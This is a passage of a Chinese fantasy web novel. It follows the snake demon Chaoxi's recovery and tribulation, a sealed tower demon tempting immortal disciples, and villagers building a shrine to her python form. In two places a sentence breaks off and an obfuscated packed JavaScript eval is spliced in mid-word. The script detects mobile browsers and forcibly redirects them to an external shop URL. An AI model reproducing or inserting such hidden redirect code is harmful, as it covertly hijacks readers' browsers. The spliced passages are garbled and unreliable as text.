魔源降世良久,尚云山雾罩着,毫无踪迹,使得天界诸多神仙已经耐心骤降,并质疑这魔源到底存不存在,而那妖星的嫌疑对象小朝姑娘,又实在弱的不像话,虽说她这妖星身份并不明朗,可完全不妨碍她成为天界的眼中钉,于是大家众口一词说,宁肯错杀一千,不可放过一个,将她咔嚓了事,大家从此便能高枕无忧。 故而数月前,很多神君便纷纷请命下界擒妖,他们来时个个志在必得,可是却因她身处凡界无法动手,便只好败兴而归。精明如虞贞自然不肯放过这个为南海再添功绩的好机会,尽管与应龙意见相背,她仍然执意前来,理由则是她担心南溟与朝曦扯出一段孽缘,毁了整个南海,应龙勉强答应。 所以她来了,不过万万没想到,这条蛇的身边竟然暗藏着一个能操控时间的厉害角色。同样,玄霜她们经过上次洞庭湖一战,疑惑更甚。 “不可能是烛龙。”玄霜的疑虑一只持续着,回到洞庭府,也始终未想透。 洞庭君:“会不会是魔源?毕竟这种术几乎是难逢敌手,举世找不出第二个。” 他的推理不无道理,玄霜眉头深深凝起:“暮闲呢?” “想是去寻少主了。” “唉。” 竹林幽然清净,远离红尘纷争,避暑避仇都是再好不过的地方,当然养伤也是。 朝曦虽然保住了一条命,可昏睡了十几日仍未有苏醒的迹象,暮闲和小篱笆心焦不已,日夜对着这具捆的严丝合缝的粽子,不眠不休,滔滔不绝,以求她能感受到他们的关怀而醒来,哪怕是受不了聒噪烦躁而勉强睁眼呢? “我姐姐实在是太惨了。” 暮闲隔着面具揉了揉眼,打了两个哈欠:“你又不是蛇,叫哪门子的姐姐。” “你是蛇,又能怎么样呢?关键时刻你在哪儿?”小篱笆蛮横驳斥,他虽人小,质疑却非常有力量。 “我很后悔。”疲惫的脸上默默爬上一片黯然,他想,当时不听玄霜的又能怎样?总想让朝曦快些醒悟,可这样的敌手,伤痛,对于目前的她来说,根本难以招架。“或者我们不该太勉强你,去做你不情愿的事。” “嗯......”粽子忽然咽了一声,二人惊喜不已连忙偎了过去,可细致观察下发现她的眼睛仍然闭着,她并未醒来,只是对暮闲的话本能的产生反应。 小篱笆投去一个白眼:“看看吧,把孩子逼成什么样了?” “你说那些有什么用?当下最重要的是让她赶快活过来,再这么耗下去,只怕会油尽灯枯。” “难道我不想吗?你有什么法子?” “若能有瑶池的丹药送服就好了。”暮闲思量道。 “你说了等于白说,且不说那瑶池是西王母的圣地,你想去那取药简直是太岁头上动土,就算侥幸拿到吧,那地方远在昆仑,远水解不了近渴,姐姐这样弱,能等到你回来吗?” 暮闲撇了撇嘴,好一会儿才琢磨反应过来它的话:“听你的意思,好像这一趟是我去?” “正所谓,谁提出,谁践行,不是你难道我吗?” “你怎么不能?” 小篱笆摇了摇头,摆了摆手:“我这身躯和道行,大概还没进昆仑的门,便被宰了,你就不同了,以你的道行应对一些小神仙是没问题的,不能那么巧就撞到西王母面前吧?再说你一向狡猾,关键时刻我相信你可以金蝉脱壳。” 暮闲干笑,这小黑团子看着貌不惊人,讲起道理来竟这样一套一套的。 “你真的没白喊她一声姐姐。” “那是当然,你放心吧暮闲君,我会好好守护姐姐,等你拿药回来!”它拍着胸脯,信誓旦旦的保证。 被它一番话说的,自己不去还不行了,暮闲舒了口气,起身整了整衣衫,这其实不需要太过思考,下决心也只是对于心志不坚定的人,于他而言,只要能医好朝曦,其他的无足轻重。 他缓缓走到朝曦身前,眼中情绪交织流转,是怜惜疼惜,竭力压制着的怒火:“虞贞这个妇人,待我取药回来,一定要去卧龙山杀了她的宝贝儿子,让她肝肠寸断。” 话音未落,暮闲人已经不见,说走咱就走,看到这份行动力,小篱笆颇是认可的点了点头,不过他有点看不懂他这番骂骂咧咧,而后想了想,大概即将以身犯险的人,都需要撂几句狠话给自己壮胆? 小篱笆舒了口气,一阵困乏上来便藏身进碧色帷帐里睡下,它没有发现被捆的结实的朝曦,在听到暮闲这通恶狠狠的话后,身子无意识的挣了挣。 …… 雾仪山。 范懿被请去九重天,一时三刻不能回来,而山中事务庞大不可一日无主,所以老神仙便叫绮幽仙子和亦棠暂管这一切,事实上,许多年前他都不怎么勤务了,大家分析缘由,可能他老人家快要长眠了,而在此之前多是由南溟代理,眼下南溟下凡,论起信任的弟子,也唯有亦棠了。 老神仙原话是,亦棠虽不及南溟天资,但可贵的是一份淡泊稳妥,毕竟,有时候天资是把双刃剑,它可成就一个人,也能摧毁一个人,远不如那平淡来的长久,所以在他器重南溟的同时,也从未忽视亦棠,而这些多数人是不明白的。 门中弟子众多,对此有意见的却仅有般颉为首的几人,他以几人师兄自居,又自恃东海殿下身份尊贵,所以对亦棠掌事很不服气,从前被南溟压制,是因着那位战神之子实在霸道厉害,无论从身份还是能力上都是他不敢招惹的,于是便只好夹着尾巴做人,但亦棠不同了,他是个好性子,又只是鹏族的义子,这次般颉说什么也不肯退让。 范懿临行前,他曾前去分辨,但被无情的拒之门外,心有不甘下,只好在山中惹惹事,生生非。 这天,众弟子正在修习经法,会神中清晰感觉地面摇晃,绮幽仙子立刻走出大殿,于楼阁望台处站立,穿过飘渺薄雾,远远看见千里外的上空蕴着几分紫气,当她捻指掐算出是熄念塔的方域时,眉头不禁皱出一个川字来,亦棠看着心中已经明白几分,立刻命众人回殿继续诵经,而他则与绮幽仙子赶往熄念塔。 熄念塔九层,预示九九归一。范懿于三万年前将塔和塔中的妖封印于海底,他并没详细告诉门中弟子,妖是什么妖,犯了什么事儿,又有什么来历和本事,只是说这妖不可渡,不可赦,若重见天日,必将六界大乱。 正所谓说者无心,听者有意,老神仙语重心长,言多必失,正心正念的人自然悉听教诲,但有那心数不正,便将那后半句听进了心去,般颉很好的诠释了什么是,唯恐天下不乱。 二人来到海面,看着那越发躁动的妖气,绮幽心中慌张下竟有些颤抖,完全没了平日里那派神仙的从容。 “师尊倒说过,此妖早晚有破印出海的那天,只是不会是近期,这样子……” 亦棠拍了拍她的肩,宽慰道:“师尊说不会,便不会,我们要相信他,眼下不过是有人憎念旺盛 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而塔中妖竟然能看出他的心思,一个空灵的声音答非所问道:“你喜欢这剑?它可是上古神器轩辕宝剑,但凡仙人没有不向往的。” “我怎会不知这是轩辕剑?”般颉完全掩饰不了心中的觊觎,要知道在他们这样的年岁,南溟已经拥有了紫斗神剑,加持之下法力大幅增长,勇挫妖妖魔,受天界赏识何其风光,自己若能得到这把轩辕,便能狠狠压他一头,一改自己不受重视的局面。 “那你可想得到这柄神剑?” “我……”一丝丝理智提醒,不能上她的当。 “我是神仙,岂会与你这妖魔为伍!” “你心中不平才会来到这里,现在连正视自己的心都不敢,谈何出头?” 般颉的脸色一晦,他没想到这么容易就被她看穿。“我是雾仪山第八十代弟子首徒,岂是你这妖孽能够评头论足的?” 塔中的声音冷哼一声,似乎不想也是不屑再与他废话,凌厉直言道:“我可以助你拿到轩辕剑,也能助你功法倍增,甚至替你除了你最憎恨的人,总之除了你的正道,你要什么我都能给你。” 本就不怀好意而来,这样一番诱惑,焉能不动心?般颉思虑后终于动摇,道:“你要我做什么?” 一阵阴风袭过,九条铁链铃铛作响:“用你的血注入那印盘,拿起轩辕剑将那九只龙首砍掉便可。” 般颉幻出一把短刀,在自己的手臂上割开一条口子,当他施术控血指向那印盘时,忽然一道白光摄入,生生截断他这行为。 “师兄,切莫糊涂!” “亦棠?绮幽仙子?”般颉眉目里暗含一丝不悦,怨怪他们阻碍了自己的好事,可却又驳不出什么来。“我只是想为这封印增加些力量。”他辩解道。 绮幽气愤不已,呵斥道:“哼,你是什么居心我们岂会不知?那血若是进去,印盘登时瓦解,封印一破,妖孽便破塔而出,届时铸成大错,你便是那千古罪人!” “千古罪人?呵,绮幽仙子对亦棠师弟从来温柔宽容,却将我视为眼中钉一般,如今又将我说的十恶不赦,是对我有所偏见吗?” “你!” 塔边的铁链晃动越发厉害,连着上方的印盘都有些不稳,亦棠察觉到不妙,立刻起术消去般颉鲜血,也不同他多说,趁他不备劈下一个手刀,般颉立时昏厥。 “仙子先送他出去,我怕他在这儿,会成为塔妖的血引。 “不行,你一个人根本应付不了。” “若有血引,只会大大增加她破印而出的机率,带他出去吧,相信我,我能应付。” “那你千万当心,我送他出去便回来。” “嗯。 60. 道在心中 妖气倏忽强盛起来,将礁洞卷出一股泥石沙流,洞中瞬间一片混浊,沙砾迷漫着双眼,睁不开更看不见,亦棠现出双羽扫清眼前障碍,施予力量向那印盘,局面逐渐得以控制,不过那塔妖的声音再又响起,让一向心志坚定的亦棠滋生出一丝慌张。 “你想要什么?如同般颉那样,我一概都能给你。” “不必枉费口舌,我久年修行岂是你能动摇的。” “是吗?是人皆有欲,有所执,所念,所怨,所憎,连范懿都不能免除,你又如何能逃脱这宇宙定律?” “道在心中,宽广如苍穹,浩瀚如星海,若心念坚定,便不受七情六欲所扰。” “说的很好,鹏族之子,你这一身的正气的样子,极是一副神仙作派。” “妖孽休要胡言!” “不过你这般藏形匿影,小心翼翼,倒是可惜了你的本来面目啊。” 亦棠拼尽周身之力,将妖气压制下去,泥沙飞石沉定下来,铁链慢慢由动变静,塔中虽再无声音,可方才那些总是言犹在耳,他心中的慌乱并不能随着那些外物一起安定,那个声音如游丝微末般钻进他的脑袋,他的心脉。 不知是什么妖术,他的脑海里忽然映现出一汪大海,在海边卧着株巨大的海棠树,它延生出许多枝蔓,其中的一枝上坐着一个浅紫衣衫的少女,她披着长长的头发,双脚埋在水中缓缓踢打着,一阵风来,树上的花瓣被纷纷吹落,霎那间下起了花瓣雨,香气弥漫开来,天地间一片粉墨。 她的长发卷入其中,微微转头,他看见她浅笑的侧脸,只是惊鸿一瞥,便被几分凌厉,几分妖娆的余光摄魂夺魄,心念恍惚。 “亦棠……” “亦棠!”绮幽一声厉喝,将他从那片幻象中拉了出来,他蹙眉不语,眼中,脸上尽是一种不知所措,他已经没了来时的那般坚定。 “你在幻境里看到了什么?” 绮幽扶着亦棠走出礁洞,看他脸色苍白的样子很是担心,同时又忧虑,仅仅这释放的妖气便叫亦棠迷失心智,遑论她的本体?看来师尊一直以来的忌惮,担心,并不是大家认为的老生常谈,夸大其词。 “没什么,只是一些虚幻。”亦棠见她担心,笑了笑宽劝说:“定力不够,是我高估自己了,回去后我是该潜心修行了。” “你也不必妄自菲薄,是那妖孽太厉害,就算是师尊,也只是将她封印在这儿,并不能真正除去她。” “要是南溟在,想来不会出现这种情形。” “南溟?也未见得吧。” “怎么?” 绮幽有些犹豫,亦棠一向体谅他人没有追问,但她还是选择告诉他:“师尊曾有严令,不许他来这儿。” “不许?师尊可有说缘由?” “没有。” 南溟的修为在自己之上,从来又有决断,师尊看重他百般委任历练,却下这般禁令,很难不让人琢磨其中古怪。 “英雄难过美人关,师尊或许是对南溟桃花极多,没有信心?” 绮幽微微讶异,他人很随和却从来不曾见过他这样说笑,而对于自己这脱口而出的玩笑话亦棠也感到奇怪,想了想,朝曦常常这样打趣南溟,自己竟不知不觉中受了她的影响。 “也不知道她现在怎么样了。” “谁?” “哦,没有,只是一个朋友。” 二人跃出海面,发觉已经过去了七天,上空乌云已经渐渐散去,亦棠仰面看着,看着那团黑色棉絮飘浮游移,不知要朝哪去,又不知要在哪处停留,没有定数,如同命运一般。 卧龙山。 晴天白日正好好的,忽然间从天边涌来大片黑云,登风而来很快便掩了上空明朗,电闪轰鸣,暴雨狂风,草木或折或断,茅屋草房翻塌,人畜不能稳站,很容易便被卷进风里不知所踪。 有些见识的村民,看出这不是寻常的雷雨,便门户严实再不敢出来,而几道巨雷之后,便稳定的下起了瓢泼大雨,一连十几天,雨水不停不息形成洪流淹了山林,经山林冲灌,又成了泥石流,许多野兽被这洪水逼出了巢穴,出洞的出洞,下山的下山,跑到了因地势独特没有被洪水淹透的卧龙村,遇人便吃。 因为尝到了甜头,越发觉得人居之地适宜生活,这些走兽们便长久霸占,不愿离开,卧龙村村民终日惶惶,再也不敢出门,但长久这样终不是办法,毕竟不是每家每户都像户长王富贵家一样,富有余粮。 在门外的野兽的虎视眈眈下,很多人都已经饿的苟延一息,有人寻隙报官,贴告悬赏,可卧龙山野兽的繁多并且穷凶极恶早就声名在外,故而并没有人敢挣这个钱,于是告示全都石沉大海,不见回音。 有个七八岁的小孩,因为实在饿极了,便拿起铁叉出门寻找食物,没走几步,嗅到了香甜气味的野兽便围了上来,一头绿眼睛的黑虎精,呲着锐利的牙齿缓缓走近,他之所以缓缓,是因为它有矫捷健硕的四肢,这些令它非常自信,因为路上走的没有能跑的过它的。这类虎豹通常会等待猎物慌张逃窜,引起它们的挑战欲,再奔跑抓住,是以轻松到嘴的食物总是不如费力逮到的美味。 虎精没想到,这个小孩儿完全没有害怕的意思,它想,他可能是在假装,毕竟人类这种生物实在很擅长演戏,它没有想法跟他磨叽,于是打算把瘦瘦小小的他一口吞下去,然而当它即将靠近时,忽然看到了这孩子的元神,它本不敢相信眼中所见,可事实不容不信,惊住的虎精伏身朝着小孩拜了拜,便连爬带滚的跑了。 小孩不明就里,一头雾水,凑巧路过的野猪精见这儿有个人,立刻欣喜的前来补位,可是猪,毕竟是猪,人类常常用猪脑子去形容一个笨蛋,这不是没有道理的。它只顾着食物的美好,而根本没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13128346|135497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有去想这么现成的一个猎物,黑虎精为什么放过。 小孩年幼,胆子却大的狠,拿起铁叉和野猪精斗狠,野猪精见他这副小身量,竟妄图以卵击石打败自己,轻视下忍不住咧嘴大笑了两声。又因为自己肠胃有限,并不能完全将小孩儿用尽,便自以为非常仗义的唤来自己的兄弟,同享这美食,只是没想到这根本是拉人下水。 眼看一群野猪精围着自己,情况有些不妙,小孩在思索是逃是战,这时草丛发出了动静,像什么东西在游窜,野猪精感到不妙,一条蟒蛇从身后窜出狠狠咬住了他,野猪疯狂挣扎,嘶叫,完全起不到作用,而它的兄弟们看着这条丈高的绛紫银纹大蟒,吓得腿脚一软,屁滚尿流的逃了。 小孩看到眼前所见,不知该悲该喜,他不能分辨,这两个是不是在争抢食物。 野猪就要断气,大蟒却松了口放它离去,它低下身来偎到小孩面前,一双黑漆漆的眼睛竟然眯起来朝他笑了笑,小孩愣在原地,一时有些看不懂了。 “你笑的怪渗人的?不过你的眼睛生的却很漂亮,像两颗黑珍珠一般。”小孩想了想,觉得不对,便又改口:“不,这么大颗,应该是黑陨石。” 大蟒认同的点了点头,眼睛里映射出的天真,与它的威武身躯格格不入。 “你,你确定不吃我吗?你不吃我可要走了。” 大蟒伏下脑袋,示意让他上来,小孩起初还有些害怕,这会儿已经没什么担心了,他腿脚利索,三两步便攀了上去,待他坐稳,大蟒便带着他往村里方向游去,因为体格庞大,一路途中撞塌了不少林木,不管是在临窗观望的村民,还是四处游窜的走兽眼中,这都是来势汹汹,招惹不得的。 一人一蟒在村子中央停留了数日,兽群尚未退去,又来一成了精的大蟒,村民们开始没有不绝望的,但经这几日观察,大蟒像个镇宅的灵兽一般,不但没有害人的意思,反而将这兽群全部吓走,他们松了一口气之余,感激的要为它修庙立碑,供奉香火。 一日清晨,见所有野兽退出干净,大蟒便带着小孩来到了王富贵家,大门正中,它的身子将整个房屋包围起来,王富贵一家吓的战战兢兢,躲在房中不敢出来,小孩坐在大蟒的脑袋上伸进院里,此时的它怒目圆睁,吐着长长的蛇信,恶狠狠的撞向一间屋子,那屋子登时坍塌。 王富贵是个草包,可他的黑心老婆不是,她从前几日大蟒的行为分析出,这条蟒精从未害过一人,眼下驼着小孩回来,大概是想为他撑腰做主,意识到它的目的后夫妇赶忙出来叩头求饶。 “神仙饶命,我们夫妇一定好好善待这个小朋友。” 自己说完,连忙拽着王富贵也表露决心。 “是是是,我们绝对好好待他,若有违背便叫我们,疾病缠身不得善终。” 大蟒闻听此话放下心来,跟小孩摇了摇脑袋,便抽身离去。 61. 紫 竹林。 暮闲求药回来,里外找了个遍,也未发现朝曦的踪影,他拿起床榻上的绷带碎片仔细观察,看出这是自内里挣断而不是从外面正常解开的,他心中喜忧参半,这足以说明朝曦已经醒了,可是醒来的状态,去向,令他担心不已。 虞贞难保不会再次出现害她。 正出神想着,身后传来一阵比蚊子还要细微的脚步声,耳力敏锐的他转身看去,是那黑团子小篱笆垂头丧气的走了进来。 “这怎么回事?朝曦人呢?” 面对暮闲的严厉质问,自知理亏的小篱笆将脑袋埋的更深。“我看着姐姐没有苏醒的意思,便合眼睡了一下,没成想醒来,便只剩这团绷带碎片了……我把附近方圆百里都寻了一遍,没有发现半点姐姐的踪迹……” “我走的时候你是怎么保证的!你知道这六界里有多少人想要她的命!”暮闲气的来回踱步,按不住火气本想再说,但看见那毛绒绒的身体被泪水浸湿,一小团瑟瑟缩缩样子十分可怜,便不好再去苛责。 他捻指掐算,松了口气:“幸好还有生命迹象,还是快一点找到她吧。” 这边话才脱口,竹屋外的林子发出沙沙声响,暮闲非常清楚这是蛇类自丛林滑过的声音,二人一道冲出门外,正见那条在卧龙村停留了多日的绛紫银纹大蟒,扭动着身子穿游过来,他定定看着眼前来客,一时间呆滞住。 “这,这也是蛇吗?”小篱笆上下打量一遍,不是很能确定。 暮闲身为同类,自然能辨别种属,他走到大蟒的面前,蹲下身认认真真的看着它的脸,心中倍感奇惑:“是蛇,但准确的说应该是蟒。” 大蟒有气无力,但还能与他斗嘴一番:“哼,见过这么美丽的真身没有,普天之下,大蟒之中,吾敢称第二,便再没有哪个敢说第一。” “真是士别三日当刮目相看啊。” “过奖过奖。” “我是说,您的大言不馋,进阶不少。” 大蟒翻了翻双目不再还口,疲惫倦怠的伏在地上,软塌塌看起来羸弱极了,小篱笆看着二人熟络的对话,原只以为又是暮闲的党羽,便一旁看着,但偎近它时,闻到了那熟悉的香气,才发觉这条萎靡不振的大蟒可能是朝曦。 “姐姐?是你么姐姐?你怎么变成这样了?” 暮闲示意他噤声,然后格外郑重的从袖兜里取出一丸丹药与它送服下去,又渡了些气,倒十分见效的苏醒过来, “你给她吃的什么?”小篱笆很是好奇。 “十全大补丸。” “……” 在‘大补丸’的作用下,朝曦很快具了人形,二人见状,先前还苦大愁深的脸上终于有了一丝欣喜,暮闲搀她起来时发现,身上脸上的烧伤全部不见,旧骨生新肌,同新生婴孩一般,容颜竟也变得精致很多。 “你这是渡劫了?” 朝曦点了点头:“我如此重伤还能撑过这雷劫,不算废物吧?”想到自己也能同南溟一般,大战之后渡劫成功,便觉得自己十分了不起。 “不算,不但不算,还非常能体现出你妖界少主的风范。” 明明是称赞的话,听起来却不让人高兴,就如同暮闲这个人看起来风姿飘逸,世外高人一般,但经过相处你会发现他行事荒诞,时不时还有些嘴碎,像极了门口的聒噪老大娘。 “跟你说多少遍了,我不是你们什么少主。” “时间会证明一切的。”他寸步不让,寸土必争道。 朝曦无奈的摇了摇头,自己实在没有多余的气力跟他互怼了。暮闲见状,便也不再逞口舌之快,一改颜色体贴入微说:“你快去歇着吧,想不想喝泥鳅汤?” 纵然他这番操作在她看来很虚情假意,可抵不住他的手艺实在好,那滋味鲜美的泥鳅汤,真的是世间绝味,骨气诚可贵,美味更要紧,禁不住腹中馋虫作怪,她轻轻点了点头:“村子里有条小河,那儿的泥鳅很不错。” “好。” 暮闲手脚很快,没多久便捞了一大锅来,他边仔细清洗边不急不躁的跟她叙述炖煮的过程,说想要一道菜味美,其中必要有很多考究,比如说柴火,必须得用栗树柴,松树柴也很好,但在他这里就不行,问他原因,他便又扯出了一通莫名其妙的理论:‘除了栗柴无好火,除了娘舅无好亲。’ 栗柴要粗细均匀,干湿合宜,长一分或者品相不好的,都会影响火候和味道,而且也不能使用法术,只能手工挑挑拣拣,说什么心怀诚意的汤饭,才会与平常的味道不同。 “挑个柴火,有必要像选美一样么?”小篱笆有些看不过去了。 “当然,每个个体都有它的价值,柴火也不例外,我挑的是柴火,可又不仅仅是柴火,这涉及到了一个人对人生的态度,上天赋予我们生命,便要好好实现它的价值,就拿柴火来说,我们明明可以找到好的,为什么要图省事的用那些不好的?所以说退而求其次是一种退缩,我们不能放弃对人生的追求。”暮闲如是恳切道。 看着这人舌灿莲花,二人不由啧啧,一根柴火都能谈到人生,要是给他一片森林,是不是要从鸿蒙伊始说到八荒六合?不过撇去那些不说,只他这份挑剔简直和南溟如出一辙。 泥鳅汤是很好吃,但不一定有他说的这么啰嗦,朝曦拖腮闻着,明知他是故意的,可是吃人嘴短,便只能默默等着,别无他法。 “高端的食材往往只需要最朴素的烹饪方式,忙碌了七个时辰,暮师傅你的泥鳅汤做好了吗?” 这边越是催促,暮闲越是不慌不忙,朝曦看着他皮笑肉不笑的样子,隔着面具都能感受到那份得意,他点了点头,小心翼翼的将煮好的汤盛进碗里一人递了一碗,不同于平常的泥鳅汤,虫是虫,汤是汤,清汤寡水的,费了这许多功夫熬出来的汤羹,汁鲜浓郁泥鳅粘稠软滑,散发出阵阵香味,引的许多藏匿在这周围的飞虫也纷纷现身一探究竟。 朝曦和小篱笆忍着不让口水流出来,顾不上那刚出锅的热,急忙送了一口下肚,以安定腹中的馋虫。 暮闲抓了一小把假苏菜,用以提味儿,准备放进朝曦碗中时忽然想起什么,便立刻收了回来,转放进自己碗中:“对了,你是不吃假苏的。” “你怎么知道我不吃?”埋头苦吃的她微微一怔,心中好奇,推算之术连这个也能看的出? “我就是知道。” 她只静静的吃饭,不说话,唯一露出了个白眼,表示满满的嫌弃。 “好吃吗?” 小篱笆很认同的点了点头:“好吃。” “谁问你了。”暮闲也白了一眼。转又认真的盯着朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139014|135497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曦:“你要是嫁给我,天天都能吃到这泥鳅汤。” “便是龙肉,天天吃也会腻的。” “难道我只会做泥鳅汤吗?”说到这儿,暮闲立刻放下竹筷,拍着胸脯开始自我赞美:“别的不敢说,论厨艺,放眼六界没有一个能比的上我的,我不敢说你跟着我千好万好,但有一样,在伙食上面,你的待遇绝对是六界女子的天花板。” 他絮絮叨叨一番话,朝曦已经喝完了汤,她打了个嗝儿,想着刚吃完人家的饭便翻脸不认人委实有些不厚道,于是便婉转说:“你说的很有道理,但是我现在还没有嫁人的想法。” 暮闲见她不那么排斥,莫不欣喜:“不急不急,你什么时候想嫁,我便立刻来娶。” “不过,你那个十全大补丸到底是什么?怎么吃了立刻恢复了很多?” 谈及此,他憋着劲儿又要洋洋得意一番。 小篱笆是知道前因后果的,转了转眼珠忽然想起来,表情疑虑甚深:“不能是昆仑的仙丹吧?” “怎么不能?” “可那是西王母的地界,我只是说说,你还真的进去了?” 面对小篱笆的质疑,暮闲故作高深莫测。 朝曦却轻而易举的拆穿:“不知道你是用的什么法子骗了南乔,她虽好糊弄,但总有一天会后知后觉,依照她的性格,到时候定然将你的老巢给掀了。” “你怎么知道?哎呀,真是知我者莫若曦儿呀,我们不在一起,实在对不起上苍赐予的这份默契。” “……”朝曦看着张开双臂仰面朝天的他,觉得再说下去,又不知要偏到什么弯弯角角里去了。“我困了,先去睡了。” …… 竹榻冰凉且坚硬,怪的是躺起来并没有不适应,侧卧着,透过敞着的窗棂,正好能看到漆黑夜空上的弦月,看着那如薄纱般轻柔的月辉,神思有些飘忽,她完全没有想到自己的劫会发生在这个时候,更没想到自己能渡劫成功,并且也成了一条大蟒。 大概是道行有所提升,脑袋也一下子清灵明朗了许多,走马观花的过了一遍往事,又想了想自己的迷茫不明的前景,越发困倦,然后不知怎么,脑海里蓦然涌上在乌榆林修屋顶时的情景,那张俊冷的脸,和氤氲在唇上的凉,到现在还觉得若梦若幻,分不清真假,意识微微偏离,倏忽扯到了梦中竹屋里的那对男女,想到了二人帷帐里的亲密行为,脑中竟对转而南溟延生出觊觎,不过很快,这种幻想就被现实扯碎,庚酉死了,死在了虞贞手里,虞贞,南溟的母亲。 她想说,丁是丁,卯是卯,可心中却无法忽视掉这层关系。 原以为自己睡了七八天,事实上也确实是七八天,只是此七八是非彼七八天,是灵界的七八天,于凡间已过七八年。 怪不得,看到清明的时候,他已经是个七八岁的小孩了,只是他那样瘦弱,看起来不过五六岁的身量,朝曦想,王富贵必是看自己多年了无音讯,才敢纵开胆子苛待他,小小年纪要冒着凶险出来寻找食物,一定是连温饱都不能够。想到他这些年受苦,便觉得心中憋闷,又觉得只是现出真身吓了吓那对草包夫妇,实在是太轻了。 等睡醒了,便去好好给这些言而无信的人一点教训,让他们知道朝曦姑奶奶不是好惹的。 对了,还得把宝芝赎回来…… 62. 花奶奶庙 卧龙村民风彪悍,对神明却格外敬畏,特别是给了他们实惠的神明,虽然他们并不能分清对方是不是神明。 在村子解除了兽群危害后,村民们立刻履行诺言修了一座庙,而庙中供奉的自然是已经进阶成大蟒的朝曦。 村中并没有什么雕梁画栋的人才,原本应该漂亮威武的绛紫银纹大蟒,在众人你一言我一语的建议下,变的怪怪的,没有人能说出它像什么,只是在庙修成之后,这里便成了方圆数百里唯一处被认证过显灵的庙,故而香火很不错。 朝曦醒来之后,发现竹屋里多了许多水果和钱财,摸清来龙去脉后,便很爽快的笑纳了。她带了些钱财赶去镇上的酒楼赎宝芝,到那儿之后酒楼的店家告诉她,宝芝已经被人赎走了。 金主是一个衣着华贵,气宇轩昂的公子。前半句她能理解,可气宇轩昂具体是个什么样子,是没见过的,不过从字面的意思来看与雄纠纠气昂昂颇为相似,便猜想店家可能想说,此人长得像大公鸡。 说到大公鸡,这世上再没有比庚酉更花枝招展,斗志勃勃的了,朝曦想如果他还活着,自己一定告诉他,他真的很适合当一只斗鸡,可这世上,如果是不存在的。 她苦苦笑着,自醒来之后,她努力不去想庚酉已经不在的事情,也知道这不过是自欺欺人罢了,胸腔中的不平被压制,再压制,她不是不够恨虞贞,也不是没想过报仇,可她懂得,人贵在有自知之明,自已就算再修炼个千年万年,也不会是她的对手。 除了些钱财,那个赎宝芝的人没有留下点线索,她决定将这件事交托给暮闲,毕竟他这个人除了嘴巴不太着调以外,办事能力还是挺让人认可的。 回到卧龙村,见村子的角坐了间不大小的石屋,里面飘出香烟,香客不绝,想到这可能就是村民们为自己建的庙宇,便很有兴致的准备进去观一观,赏一赏,不过当她抬头看到那庙的名字时,嘴角不由的一阵抽搐。 花奶奶庙。 再进入庙中,一条淤紫颜色的大花蛇像高高盘坐在正中央,漆黑有些斗眼的双瞳,一身五彩斑斓的花色,滑稽极了。 正无奈着,身边忽然出现一些信徒,他们摆了一些瓜果,又上了几支香,虔诚的求告道:“花奶奶保佑,保佑我家媳妇明年生个大胖小子承继家中香火。” “花奶奶保佑天降横财到我家,保佑我刘大刚发达。” “花奶奶保佑我能科举高中,身披蟒袍,光宗耀祖。” 凡人啊凡人,总是为欲望所驱使,看不清人生的本质,等他们老了或者将死,才发现毕生所追求的,只不过是云烟过往,短暂的很。若是有个高人适时站出来点拨一下,兴许命主便不会再那么执着,那么迷茫,这人生八苦,七情六欲的,大概也就不再是众生难以克服的问题。 只是能够真正参悟人生的人,沧海一粟万中无一,还是那句,乱花渐欲迷人眼,被花花世界迷了眼睛,迷了心智的人,是不会轻易开解的,痴男怨女们就这么在这浑浊世界里,蹉蹉跎跎,跎跎磋蹉,耗尽生命,然后带着悔恨,或转生,或泯灭。 朝曦摇了摇头,替这些人无奈,但想到自己都是过了今天明天不知道在哪儿,自顾不暇的,还有功夫替别人嗟叹,又觉得自己这心操的实在多余。 还是活好眼前吧,一会儿功夫,她已经将像上的五彩花纹全部擦去,调出与自己接近的颜色后,重新涂刷了一遍,虽然成果一般,但比先前,已经好了很多。 “这双斗眼,可怎么改呀。”她握着笔,托着腮,冥思苦索。 “我来画吧。” 一个稚气的声音的突然出现,朝曦混一激灵,此时已经是黑夜,庙里也早就没有人,是哪里传来的声音?她将脑袋往外伸了伸,被供台挡住的一个孩子正在仰面与她对视。 原来是清明,她微怔的眼睛弯弯一笑。 “你什么时候来的?” 他不说话,只是冷冷的看着她。朝曦有些意外,才八岁便这样冷漠,看来江山易改,本性难移一点都没有错。 “不声不响的出现,非君子所为,你小小年纪,这样很不好。还有,你不要打扰一个正在会神思考的人,你的无心之举可能会把人家吓死。” 他仍然没有话,只是快速利落的攀爬上来,拿过她手中的笔,三五下便将原本眼睛改的顺眼许多。 “虽然和它相差甚远,但比刚才要美观不少,对吧?” 朝曦看着他稚嫩又严肃的脸,禁不住想笑,不过为表尊重便只好忍住笑意点了点头:“古有画龙点睛,你这画蟒点睛也很不错,没想到你小小年纪便有这般画技,是谁教的你啊?” “哼,这个破村子,识字都困难,还画技?” “呃……好吧,那你为什么晚了还一个人来这儿?可也是有什么事要求告这位……花奶奶?” “求告?也是,也不是。” “这怎么说?” “我想来看看,它会不会再显灵现身,上次都没来得及向它道谢。” “你难道不怕它吗?” “它长的那么好看,有什么可怕的。” 